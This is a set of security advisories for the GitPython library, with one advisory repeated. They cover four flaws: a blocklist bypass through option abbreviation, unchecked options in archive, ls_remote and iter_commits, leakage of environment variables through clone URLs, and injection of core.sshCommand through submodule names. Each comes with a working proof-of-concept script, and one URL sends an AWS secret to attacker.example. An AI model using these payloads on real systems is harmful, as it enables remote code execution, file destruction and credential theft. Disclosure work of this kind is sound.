Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

##### git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)
Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites
Bypass keys (verified)
kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes — direct RCE
receive_p --receive-pack push Yes — direct RCE
exe --exec push Yes — direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)
Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

##### fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)
  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: command injection via unguarded Git options in Repo.archive(), git.ls_remote(), and arbitrary file overwrite via Repo.iter_commits() / Repo.blame()

CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839

More information

Details

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842

More information

Details

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:


#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

##### Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

##### --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

CVE-2026-67322 / GHSA-rwj8-pgh3-r573 / PYSEC-2026-3842

More information

Details

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:


#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

##### Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

##### --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

CVE-2026-69097 / GHSA-3rp5-jjmw-4wv2 / PYSEC-2026-3981

More information

Details

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")
...
def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:
    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
        raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

fp.write(("[%s]\n" % name).encode(defenc))

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

x"] [core] sshCommand=CMD #

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

  • Repo.create_submodule(name=<untrusted>, ...) → Submodule.add → git/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
  • Repo.clone_from(<hostile url>) + repo.submodule_update(init=True) → git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.


#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

##### A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:


##### GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

  • an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
  • Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

